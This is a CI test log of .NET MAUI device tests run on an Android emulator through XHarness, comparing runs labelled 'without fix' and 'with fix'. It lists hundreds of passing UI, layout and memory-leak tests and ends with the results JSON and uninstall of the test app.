05-29 10:48:55.458 26340 29916 I DOTNET : [PASS] Horizontal text aligned when RTL is not supported
05-29 10:48:55.849 26340 29921 I DOTNET : [PASS] UpdatingFormattedTextResultsInTheSameLayout
05-29 10:48:56.253 26340 29926 I DOTNET : [PASS] UpdatingFormattedTextResultsInTheSameLayout
05-29 10:48:56.662 26340 29931 I DOTNET : [PASS] UpdatingFormattedTextResultsInTheSameLayout
05-29 10:48:57.206 26340 29936 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectColorWhenChangedAfterCreation
05-29 10:48:57.442 26340 29941 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectColorWhenChanges
05-29 10:48:57.534 26340 29947 I DOTNET : [PASS] LineBreakMode does not affect MaxLines
05-29 10:48:57.537 26340 29947 I DOTNET : [PASS] RotationConsistent
05-29 10:48:57.891 26340 29952 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
05-29 10:48:58.248 26340 29957 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
05-29 10:48:58.623 26340 29962 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
05-29 10:48:58.627 26340 29962 I DOTNET : [PASS] MaxLines Initializes Correctly
05-29 10:48:58.629 26340 29962 I DOTNET : [PASS] RotationXConsistent
05-29 10:48:58.631 26340 29962 I DOTNET : [PASS] LineBreakMode Initializes Correctly
05-29 10:48:58.633 26340 29962 I DOTNET : [PASS] InitialTextTransformApplied
05-29 10:48:58.645 26340 29962 I DOTNET : [PASS] InitialTextTransformApplied
05-29 10:48:58.647 26340 29962 I DOTNET : [PASS] RotationYConsistent
05-29 10:48:58.651 26340 29962 I DOTNET : [PASS] Single LineBreakMode changes MaxLines
05-29 10:48:58.653 26340 29962 I DOTNET : [PASS] VerifyLabelIsEnabledProperty
05-29 10:48:58.654 26340 29962 I DOTNET : [IGNORED] InitialFormattedTextMatchesText
05-29 10:48:58.658 26340 29962 I DOTNET : [PASS] TextTypeAfterFontStuffIsCorrect
05-29 10:48:58.660 26340 29962 I DOTNET : [PASS] ScaleYConsistent
05-29 10:48:58.663 26340 29962 I DOTNET : [PASS] ScaleConsistent
05-29 10:49:00.980 26340 29967 I DOTNET : [PASS] ChangingTextTypeWithFormattedTextSwitchesTextSource
05-29 10:49:00.992 26340 29973 I DOTNET : [PASS] FormattedStringSpanTextTransformApplied
05-29 10:49:00.997 26340 29973 I DOTNET : [PASS] FormattedStringSpanTextTransformApplied
05-29 10:49:01.126 26340 29978 I DOTNET : [PASS] LabelBackgroundColorConsistent
05-29 10:49:04.940 26340 29989 I DOTNET : [PASS] Does Not Leak
05-29 10:49:04.943 26340 29989 I DOTNET : [PASS] Unsetting single LineBreakMode resets MaxLines
05-29 10:49:04.944 26340 29989 I DOTNET : [PASS] Unsetting single LineBreakMode resets MaxLines
05-29 10:49:04.944 26340 29989 I DOTNET : Microsoft.Maui.DeviceTests.LabelTests 11.2095183 ms
05-29 10:49:04.945 26340 29989 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.FrameTests
05-29 10:49:05.072 26340 29995 I DOTNET : [PASS] Frame Respects minimum height/width
05-29 10:49:05.250 26340 30001 I DOTNET : [PASS] FrameIncludesPadding
05-29 10:49:06.426 26340 30007 I DOTNET : [PASS] FrameContentAccountsForBorderThickness
05-29 10:49:06.586 26340 30012 I DOTNET : [PASS] Update Frame Content Test
05-29 10:49:06.594 26340 30012 I DOTNET : [PASS] Frame BorderColor Initializes Correctly
05-29 10:49:06.674 26340 30017 I DOTNET : [PASS] Frame BorderColor Initializes Correctly
05-29 10:49:06.681 26340 30017 I DOTNET : [PASS] Frame BorderColor Initializes Correctly
05-29 10:49:07.155 26340 30023 I DOTNET : [PASS] FrameIncludesBorderThickness
05-29 10:49:07.277 26340 30030 I DOTNET : [PASS] Frame With Entry Measures
05-29 10:49:07.435 26340 30036 I DOTNET : [PASS] FrameDoesNotInterpretConstraintsAsMinimums
05-29 10:49:07.447 26340 30036 I DOTNET : [PASS] Frame BackgroundColor Initializes Correctly
05-29 10:49:07.471 26340 30041 I DOTNET : [PASS] Frame BackgroundColor Initializes Correctly
05-29 10:49:07.508 26340 30041 I DOTNET : [PASS] Frame BackgroundColor Initializes Correctly
05-29 10:49:08.003 26340 30046 I DOTNET : [PASS] Basic Frame Test
05-29 10:49:08.139 26340 30052 I DOTNET : [PASS] FramesWithinFrames
05-29 10:49:08.246 26340 30058 I DOTNET : [PASS] FramesWithinFrames
05-29 10:49:08.365 26340 30064 I DOTNET : [PASS] FramesWithinFrames
05-29 10:49:08.483 26340 30070 I DOTNET : [PASS] FramesWithinFrames
05-29 10:49:08.488 26340 30070 I DOTNET : Microsoft.Maui.DeviceTests.FrameTests 3.4920310 ms
05-29 10:49:08.489 26340 30070 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.EntryTests
05-29 10:49:08.590 26340 30076 I DOTNET : [PASS] ScaleXConsistent
05-29 10:49:08.596 26340 30076 I DOTNET : [PASS] MaxLengthTrims
05-29 10:49:08.601 26340 30076 I DOTNET : [PASS] EntryMaxLengthAndTextOrder_RespectsMaxLength
05-29 10:49:08.606 26340 30076 I DOTNET : [PASS] VerifyEntryIsVisibleProperty
05-29 10:49:08.612 26340 30076 I DOTNET : [PASS] ChangingPlatformTextPreservesTextTransform
05-29 10:49:08.617 26340 30076 I DOTNET : [PASS] ChangingPlatformTextPreservesTextTransform
05-29 10:49:08.621 26340 30076 I DOTNET : [PASS] ScaleConsistent
05-29 10:49:08.650 26340 30082 I DOTNET : [PASS] Entry with longer text and short text updates correctly
05-29 10:49:08.656 26340 30082 I DOTNET : [PASS] InitializingTextTransformBeforeTextShouldUpdateTextProperty
05-29 10:49:08.661 26340 30082 I DOTNET : [PASS] RotationYConsistent
05-29 10:49:08.665 26340 30082 I DOTNET : [PASS] EntryTranslationConsistent
05-29 10:49:08.693 26340 30087 I DOTNET : [PASS] Android crash when Entry has more than 5000 characters
05-29 10:49:08.698 26340 30087 I DOTNET : [PASS] UpdateTextWithTextLongerThanMaxLength
05-29 10:49:08.705 26340 30087 I DOTNET : [PASS] VerifyEntryOpacityProperty
05-29 10:49:08.826 26340 30092 I DOTNET : [PASS] EntryBackgroundColorConsistent
05-29 10:49:08.858 26340 30092 I DOTNET : [PASS] SelectionLengthRightToLeft
05-29 10:49:08.868 26340 30092 I DOTNET : [PASS] RotationXConsistent
05-29 10:49:08.874 26340 30092 I DOTNET : [PASS] CursorPositionPreservedWhenTextTransformPresent
05-29 10:49:08.879 26340 30092 I DOTNET : [PASS] ScaleYConsistent
05-29 10:49:08.883 26340 30092 I DOTNET : [PASS] RotationConsistent
05-29 10:49:08.883 26340 30092 I DOTNET : Microsoft.Maui.DeviceTests.EntryTests 0.3840892 ms
05-29 10:49:08.883 26340 30092 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.DispatchingTests
05-29 10:49:09.387 26340 30097 I DOTNET : [PASS] DispatchFromBackgroundThread
05-29 10:49:09.387 26340 30097 I DOTNET : Microsoft.Maui.DeviceTests.DispatchingTests 0.5026636 ms
05-29 10:49:09.423 26340 26370 I DOTNET : Xml file was written to the provided writer.
05-29 10:49:09.424 26340 26370 I DOTNET : Tests run: 955 Passed: 942 Inconclusive: 0 Failed: 0 Ignored: 0
05-29 10:49:10.499 30100 30100 D DOTNET : AndroidCryptoNative_InitLibraryOnLoad: jint AndroidCryptoNative_InitLibraryOnLoad(JavaVM *, void *) in /__w/1/s/src/runtime/src/native/libs/System.Security.Cryptography.Native.Android/pal_jni.c
05-29 10:49:10.500 30100 30100 D DOTNET : GetOptionalClassGRef: optional class com/android/org/conscrypt/OpenSSLEngineImpl was not found
�[40m�[32minfo�[39m�[22m�[49m: <<XHARNESS_RESULT_START>>
{
"version": 1,
"machineName": "runnervmm79r7",
"exitCode": 0,
"exitCodeName": "SUCCESS",
"platform": "android",
"instrumentationExitCode": 0,
"device": "emulator-5554",
"deviceOsVersion": "API 30",
"architecture": "x86_64",
"files": [
{
"name": "testResults.xml",
"type": "test-results"
},
{
"name": "adb-logcat-com.microsoft.maui.controls.devicetests-default.log",
"type": "logcat"
}
]
}
<<XHARNESS_RESULT_END>>
�[40m�[32minfo�[39m�[22m�[49m: Attempting to remove apk 'com.microsoft.maui.controls.devicetests'..
�[40m�[37mdbug�[39m�[22m�[49m: Executing command: '/home/vsts/.nuget/packages/microsoft.dotnet.xharness.cli/11.0.0-prerelease.26230.4/runtimes/any/native/adb/linux/adb -s emulator-5554 uninstall com.microsoft.maui.controls.devicetests'
�[40m�[32minfo�[39m�[22m�[49m: Successfully uninstalled com.microsoft.maui.controls.devicetests
XHarness exit code: 0
Tests completed successfully
🔴 Without fix — 📱 WindowHandlerStub: PASS ❌ · 1154s
(truncated to last 15,000 chars)
arentUpdatesCorrectlyOnPlatformView
05-29 10:14:54.029 19435 22760 I DOTNET : [PASS] InputTransparentUpdatesCorrectlyOnPlatformView
05-29 10:14:54.133 19435 22765 I DOTNET : [PASS] GridCellsHonorMaxWidth
05-29 10:14:54.252 19435 22771 I DOTNET : [PASS] CascadeInputTransparentAppliesOnUpdate
05-29 10:14:54.319 19435 22771 I DOTNET : [PASS] CascadeInputTransparentAppliesOnUpdate
05-29 10:14:54.596 19435 22777 I DOTNET : [PASS] ButtonWithImageInFlexLayoutInGridDoesNotCycle
05-29 10:14:54.707 19435 22782 I DOTNET : [PASS] GridAddAndRemoveChildrenViaIndex
05-29 10:14:54.965 19435 22787 I DOTNET : [PASS] MinimumSizeRequestsCanBeCleared
05-29 10:14:54.965 19435 22787 I DOTNET : Microsoft.Maui.DeviceTests.LayoutTests 1.8761712 ms
05-29 10:14:54.965 19435 22787 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_SendRawMessage
05-29 10:14:56.644 19435 22793 I DOTNET : [PASS] LoadsHtmlAndSendReceiveRawMessage
05-29 10:14:56.644 19435 22793 I DOTNET : Microsoft.Maui.DeviceTests.HybridWebViewTests_SendRawMessage 1.6780092 ms
05-29 10:14:56.644 19435 22793 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.FormattedStringTests
05-29 10:14:56.716 19435 22799 I DOTNET : [PASS] NativeFormattedStringContainsSpan
05-29 10:14:56.717 19435 22799 I DOTNET : Microsoft.Maui.DeviceTests.FormattedStringTests 0.0712169 ms
05-29 10:14:56.717 19435 22799 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.Memory.MemoryTests
05-29 10:15:00.155 19435 22804 I DOTNET : [PASS] Gesture Does Not Leak
05-29 10:15:03.707 19435 22809 I DOTNET : [PASS] Gesture Does Not Leak
05-29 10:15:07.230 19435 22814 I DOTNET : [PASS] Gesture Does Not Leak
05-29 10:15:10.792 19435 22819 I DOTNET : [PASS] Gesture Does Not Leak
05-29 10:15:14.218 19435 22824 I DOTNET : [PASS] Gesture Does Not Leak
05-29 10:15:17.705 19435 22829 I DOTNET : [PASS] Gesture Does Not Leak
05-29 10:15:21.272 19435 22834 I DOTNET : [PASS] Gesture Does Not Leak
05-29 10:15:24.963 19435 22845 I DOTNET : [PASS] VisualDiagnosticsOverlay Does Not Leak
05-29 10:15:30.341 19435 22851 I DOTNET : [PASS] Cells Do Not Leak
05-29 10:15:35.689 19435 22858 I DOTNET : [PASS] Cells Do Not Leak
05-29 10:15:41.196 19435 22863 I DOTNET : [PASS] Cells Do Not Leak
05-29 10:15:46.615 19435 22868 I DOTNET : [PASS] Cells Do Not Leak
05-29 10:15:52.270 19435 22873 I DOTNET : [PASS] Cells Do Not Leak
05-29 10:15:55.151 19435 22878 I DOTNET : [PASS] BindableLayout Does Not Leak
05-29 10:16:00.265 19435 22883 I DOTNET : [PASS] Pages Do Not Leak
05-29 10:16:08.856 19435 22888 I DOTNET : [PASS] Pages Do Not Leak
05-29 10:16:17.204 19435 22893 I DOTNET : [PASS] Pages Do Not Leak
05-29 10:16:20.156 19435 22898 I DOTNET : [PASS] TweenersWillNotLeakDuringInfiniteAnimation
05-29 10:16:37.223 19435 22904 I DOTNET : [PASS] Window Does Not Leak
05-29 10:16:40.971 19435 22915 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:16:44.670 19435 22926 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:16:48.373 19435 22937 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:16:52.083 19435 22948 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:16:55.823 19435 22959 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:16:59.531 19435 22970 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:03.254 19435 22981 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:06.956 19435 22992 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:10.680 19435 22997 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:14.383 19435 23008 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:18.093 19435 23019 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:21.807 19435 23024 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:25.535 19435 23040 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:29.238 19435 23051 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:32.946 19435 23063 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:36.652 19435 23074 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:40.355 19435 23085 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:44.070 19435 23098 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:47.782 19435 23109 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:51.482 19435 23120 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:55.191 19435 23131 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:17:58.888 19435 23142 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:02.607 19435 23153 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:06.323 19435 23164 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:10.023 19435 23175 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:13.732 19435 23187 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:17.438 19435 23198 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:21.152 19435 23209 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:24.885 19435 23220 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:28.608 19435 23231 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:32.370 19435 23243 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:36.093 19435 23256 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:41.472 19435 23273 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:45.173 19435 23284 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:48.886 19435 23295 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:52.646 19435 23306 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:18:56.388 19435 23317 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:19:00.153 19435 23328 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:19:05.730 19435 23334 I DOTNET : [PASS] CollectionView Header/Footer Doesn't Leak
05-29 10:19:13.570 19435 23339 I DOTNET : [PASS] FlyoutPage Detail Navigation Does Not Leak
05-29 10:19:13.571 19435 23339 I DOTNET : Microsoft.Maui.DeviceTests.Memory.MemoryTests 256.8215372 ms
05-29 10:19:13.571 19435 23339 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.RadioButtonTests
05-29 10:19:13.847 19435 23344 I DOTNET : [PASS] Issue 34322 - Explicit SemanticDescription is not overwritten by content-derived semantics
05-29 10:19:14.114 19435 23349 I DOTNET : [PASS] Issue 34322 - Templated RadioButton uses content label for semantics
05-29 10:19:18.977 19435 23354 I DOTNET : [PASS] RadioButtonHandlerShouldNotLeak
05-29 10:19:18.977 19435 23354 I DOTNET : Microsoft.Maui.DeviceTests.RadioButtonTests 5.4039592 ms
05-29 10:19:18.977 19435 23354 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.Memory.WindowOverlayTests
05-29 10:19:20.669 19435 23359 I DOTNET : [PASS] Does Not Leak
05-29 10:19:20.670 19435 23359 I DOTNET : Microsoft.Maui.DeviceTests.Memory.WindowOverlayTests 1.6917739 ms
05-29 10:19:20.670 19435 23359 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.FrameHandlerTest
05-29 10:19:20.679 19435 23364 I DOTNET : [PASS] Setting Semantic Hint makes element accessible
05-29 10:19:20.686 19435 23364 I DOTNET : [PASS] MinimumHeightInitializes
05-29 10:19:20.688 19435 23364 I DOTNET : [PASS] MinimumHeightInitializes
05-29 10:19:20.688 19435 23364 I DOTNET : [PASS] HandlersHaveAllExpectedContructors
05-29 10:19:20.691 19435 23364 I DOTNET : [PASS] Native View Bounds are not empty
05-29 10:19:20.694 19435 23364 I DOTNET : [PASS] Native View Bounds are not empty
05-29 10:19:20.710 19435 23364 I DOTNET : [PASS] Null Semantics Doesnt throw exception
05-29 10:19:20.713 19435 23364 I DOTNET : [PASS] DisconnectHandlerDoesntCrash
05-29 10:19:20.718 19435 23364 I DOTNET : [PASS] Clip Initializes ContainerView Correctly
05-29 10:19:20.732 19435 23364 I DOTNET : [PASS] PlatformView Transforms are not empty
05-29 10:19:20.735 19435 23364 I DOTNET : [PASS] PlatformView Transforms are not empty
05-29 10:19:20.739 19435 23364 I DOTNET : [PASS] RotationX Initialize Correctly
05-29 10:19:20.744 19435 23364 I DOTNET : [PASS] RotationX Initialize Correctly
05-29 10:19:20.744 19435 23364 I DOTNET : [IGNORED] Semantic Hint is set correctly
05-29 10:19:20.753 19435 23364 I DOTNET : [PASS] Semantic Heading is set correctly
05-29 10:19:20.758 19435 23364 I DOTNET : [PASS] Opacity is set correctly
05-29 10:19:20.763 19435 23364 I DOTNET : [PASS] Opacity is set correctly
05-29 10:19:21.282 19435 23369 I DOTNET : [PASS] ContainerView Adds And Removes
05-29 10:19:21.346 19435 23369 I DOTNET : [PASS] RotationY Initialize Correctly
05-29 10:19:21.426 19435 23369 I DOTNET : [PASS] RotationY Initialize Correctly
05-29 10:19:21.448 19435 23369 I DOTNET : [PASS] View Renders To Image
05-29 10:19:21.459 19435 23369 I DOTNET : [PASS] View Renders To Image
05-29 10:19:21.465 19435 23369 I DOTNET : [PASS] ScaleX Initialize Correctly
05-29 10:19:21.469 19435 23369 I DOTNET : [PASS] ScaleX Initialize Correctly
05-29 10:19:21.472 19435 23369 I DOTNET : [PASS] TranslationX Initialize Correctly
05-29 10:19:21.474 19435 23369 I DOTNET : [PASS] TranslationX Initialize Correctly
05-29 10:19:21.474 19435 23369 I DOTNET : [IGNORED] Semantic Description is set correctly
05-29 10:19:21.476 19435 23369 I DOTNET : [PASS] NeedsContainerWhenInputTransparent
05-29 10:19:21.478 19435 23369 I DOTNET : [PASS] Automation Id is set correctly
05-29 10:19:21.486 19435 23369 I DOTNET : [PASS] FlowDirection is set correctly
05-29 10:19:21.487 19435 23369 I DOTNET : [PASS] FlowDirection is set correctly
05-29 10:19:21.490 19435 23369 I DOTNET : [PASS] MinimumWidthInitializes
05-29 10:19:21.491 19435 23369 I DOTNET : [PASS] MinimumWidthInitializes
05-29 10:19:21.494 19435 23369 I DOTNET : [PASS] ContainerView Remains If Shadow Mapper Runs Again
05-29 10:19:21.497 19435 23369 I DOTNET : [PASS] ScaleY Initialize Correctly
05-29 10:19:21.499 19435 23369 I DOTNET : [PASS] ScaleY Initialize Correctly
05-29 10:19:21.561 19435 23369 I DOTNET : [PASS] Rotation Initialize Correctly
05-29 10:19:21.564 19435 23369 I DOTNET : [PASS] Rotation Initialize Correctly
05-29 10:19:21.566 19435 23369 I DOTNET : [PASS] Native View Bounding Box is not empty
05-29 10:19:21.569 19435 23369 I DOTNET : [PASS] Native View Bounding Box is not empty
05-29 10:19:21.571 19435 23369 I DOTNET : [PASS] Setting Semantic Description makes element accessible
05-29 10:19:21.574 19435 23369 I DOTNET : [PASS] TranslationY Initialize Correctly
05-29 10:19:21.576 19435 23369 I DOTNET : [PASS] TranslationY Initialize Correctly
05-29 10:19:21.585 19435 23369 I DOTNET : [PASS] Visibility is set correctly
05-29 10:19:21.587 19435 23369 I DOTNET : [PASS] Visibility is set correctly
05-29 10:19:21.587 19435 23369 I DOTNET : Microsoft.Maui.DeviceTests.FrameHandlerTest 0.7694370 ms
05-29 10:19:21.587 19435 23369 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.ScrollViewTests
05-29 10:19:21.805 19435 23374 I DOTNET : [PASS] TestContentSizeChangedVertical
05-29 10:19:22.024 19435 23381 I DOTNET : [PASS] TestContentSizeChangedVertical
05-29 10:19:22.259 19435 23388 I DOTNET : [PASS] TestContentSizeChangedHorizontal
05-29 10:19:22.476 19435 23396 I DOTNET : [PASS] TestContentSizeChangedHorizontal
05-29 10:19:22.796 19435 23401 I DOTNET : [PASS] TestContentHorizontalOptionsChanged
05-29 10:19:22.913 19435 23408 I DOTNET : [PASS] TestScrollContentMargin
05-29 10:19:23.027 19435 23415 I DOTNET : [PASS] TestScrollContentMargin
05-29 10:19:23.157 19435 23422 I DOTNET : [PASS] TestScrollContentMargin
05-29 10:19:23.312 19435 23427 I DOTNET : [PASS] ScrollView's viewport fills available space if set to fill
05-29 10:20:18.988 19435 23433 I DOTNET : [PASS] ScrollView Does Not Leak
05-29 10:20:19.113 19435 23438 I DOTNET : [PASS] ScrollView inside layouts do not grow
05-29 10:20:19.115 19435 23438 I DOTNET : Microsoft.Maui.DeviceTests.ScrollViewTests 57.5177136 ms
05-29 10:20:19.116 19435 23438 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.CarouselViewTests
05-29 10:20:19.394 19435 23443 I DOTNET : [PASS] HiddenCarouselViewNoCrash
05-29 10:20:19.838 19435 23449 I DOTNET : [PASS] DisconnectedCarouselViewDoesNotHookCollectionViewChanged
05-29 10:20:22.060 19435 23454 I DOTNET : [PASS] IndicatorView Provides Correct TalkBack Accessibility Description
05-29 10:20:23.375 19435 23459 I DOTNET : [PASS] Position Initializes Correctly
05-29 10:20:24.673 19435 23464 I DOTNET : [PASS] Position Initializes Correctly
05-29 10:20:25.953 19435 23469 I DOTNET : [PASS] Position Initializes Correctly
05-29 10:20:26.308 19435 23474 I DOTNET : [PASS] CarouselViewDataTemplateSelectorSelectorNoCrash
05-29 10:20:26.308 19435 23474 I DOTNET : Microsoft.Maui.DeviceTests.CarouselViewTests 7.1814438 ms
05-29 10:20:26.359 19435 23429 I DOTNET : Xml file was written to the provided writer.
05-29 10:20:26.359 19435 23429 I DOTNET : Tests run: 955 Passed: 942 Inconclusive: 0 Failed: 0 Ignored: 0
�[40m�[32minfo�[39m�[22m�[49m: <<XHARNESS_RESULT_START>>
{
"version": 1,
"machineName": "runnervmm79r7",
"exitCode": 0,
"exitCodeName": "SUCCESS",
"platform": "android",
"instrumentationExitCode": 0,
"device": "emulator-5554",
"deviceOsVersion": "API 30",
"architecture": "x86_64",
"files": [
{
"name": "testResults.xml",
"type": "test-results"
},
{
"name": "adb-logcat-com.microsoft.maui.controls.devicetests-default.log",
"type": "logcat"
}
]
}
<<XHARNESS_RESULT_END>>
�[40m�[32minfo�[39m�[22m�[49m: Attempting to remove apk 'com.microsoft.maui.controls.devicetests'..
�[40m�[37mdbug�[39m�[22m�[49m: Executing command: '/home/vsts/.nuget/packages/microsoft.dotnet.xharness.cli/11.0.0-prerelease.26230.4/runtimes/any/native/adb/linux/adb -s emulator-5554 uninstall com.microsoft.maui.controls.devicetests'
�[40m�[32minfo�[39m�[22m�[49m: Successfully uninstalled com.microsoft.maui.controls.devicetests
XHarness exit code: 0
Tests completed successfully
🟢 With fix — 📱 WindowHandlerStub: PASS ✅ · 1008s
(truncated to last 15,000 chars)
05:02.569 30623 1623 I DOTNET : [PASS] InvokeJavaScriptMethodThatThrowsString
05-29 11:05:03.255 30623 1629 I DOTNET : [PASS] InvokeJavaScriptMethodThatThrowsNumber
05-29 11:05:03.953 30623 1635 I DOTNET : [PASS] InvokeJavaScriptMethodThatThrowsNumber
05-29 11:05:04.644 30623 1642 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNullsAndComplexResult
05-29 11:05:05.326 30623 1648 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndVoidReturnUsingNullReturnMethod
05-29 11:05:05.987 30623 1654 I DOTNET : [PASS] InvokeJavaScriptMethodThatThrowsError
05-29 11:05:06.683 30623 1660 I DOTNET : [PASS] InvokeJavaScriptMethodThatThrowsError
05-29 11:05:07.410 30623 1666 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndDoubleResult
05-29 11:05:08.079 30623 1672 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndDoubleResult
05-29 11:05:08.724 30623 1678 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndDoubleResult
05-29 11:05:09.440 30623 1684 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNewIntResult
05-29 11:05:10.149 30623 1690 I DOTNET : [PASS] RequestFileFromJS
05-29 11:05:10.847 30623 1697 I DOTNET : [PASS] RequestFileFromJS
05-29 11:05:11.508 30623 1703 I DOTNET : [PASS] InvokeJavaScriptMethodThatThrowsTypedNumber
05-29 11:05:12.400 30623 1709 I DOTNET : [PASS] InvokeJavaScriptMethodThatThrowsTypedNumber
05-29 11:05:13.090 30623 1715 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNullableIntResult
05-29 11:05:13.784 30623 1721 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNullableIntResult
05-29 11:05:14.447 30623 1727 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNullableIntResult
05-29 11:05:15.090 30623 1733 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNullableIntResult
05-29 11:05:15.771 30623 1739 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndStringResult
05-29 11:05:16.459 30623 1745 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndStringResult
05-29 11:05:17.122 30623 1751 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndStringResult
05-29 11:05:17.795 30623 1757 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndStringResult
05-29 11:05:18.442 30623 1763 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndStringResult
05-29 11:05:19.137 30623 1769 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNullableDoubleResult
05-29 11:05:19.876 30623 1775 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNullableDoubleResult
05-29 11:05:20.545 30623 1781 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNullableDoubleResult
05-29 11:05:21.202 30623 1787 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNullableDoubleResult
05-29 11:05:21.947 30623 1793 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndDecimalResult
05-29 11:05:22.630 30623 1799 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndVoidReturnUsingObjectReturnMethod
05-29 11:05:23.273 30623 1805 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNewStringResult
05-29 11:05:23.947 30623 1811 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndBoolResult
05-29 11:05:24.627 30623 1817 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndBoolResult
05-29 11:05:25.311 30623 1823 I DOTNET : [PASS] InvokeAsyncJavaScriptMethodWithParametersAndComplexResult
05-29 11:05:25.981 30623 1831 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndNewDoubleResult
05-29 11:05:26.644 30623 1837 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndIntResult
05-29 11:05:27.329 30623 1843 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndIntResult
05-29 11:05:28.026 30623 1850 I DOTNET : [PASS] InvokeJavaScriptMethodWithParametersAndIntResult
05-29 11:05:28.026 30623 1850 I DOTNET : Microsoft.Maui.DeviceTests.HybridWebViewTests_InvokeJavaScriptAsync 28.2351397 ms
05-29 11:05:28.026 30623 1850 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.RefreshViewTests
05-29 11:05:28.158 30623 1856 I DOTNET : [PASS] Setting the content of RefreshView removes previous platform view from visual tree
05-29 11:05:28.158 30623 1856 I DOTNET : [PASS] IsRefreshEnabled can be set to false
05-29 11:05:28.159 30623 1856 I DOTNET : [PASS] Setting IsRefreshEnabled to false while refreshing stops refresh
05-29 11:05:28.159 30623 1856 I DOTNET : [PASS] IsRefreshEnabled defaults to true
05-29 11:05:28.160 30623 1856 I DOTNET : [PASS] IsEnabled prevents IsRefreshing from being set to true
05-29 11:05:28.160 30623 1856 I DOTNET : [PASS] Setting IsEnabled to false while refreshing stops refresh
05-29 11:05:28.161 30623 1856 I DOTNET : [PASS] IsRefreshEnabled prevents IsRefreshing from being set to true
05-29 11:05:28.161 30623 1856 I DOTNET : [PASS] IsRefreshing can be set to false when IsRefreshEnabled is false
05-29 11:05:28.161 30623 1856 I DOTNET : Microsoft.Maui.DeviceTests.RefreshViewTests 0.1317000 ms
05-29 11:05:28.161 30623 1856 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.FrameTests
05-29 11:05:28.381 30623 1862 I DOTNET : [PASS] Frame Respects minimum height/width
05-29 11:05:28.521 30623 1868 I DOTNET : [PASS] FrameIncludesPadding
05-29 11:05:29.678 30623 1876 I DOTNET : [PASS] FrameContentAccountsForBorderThickness
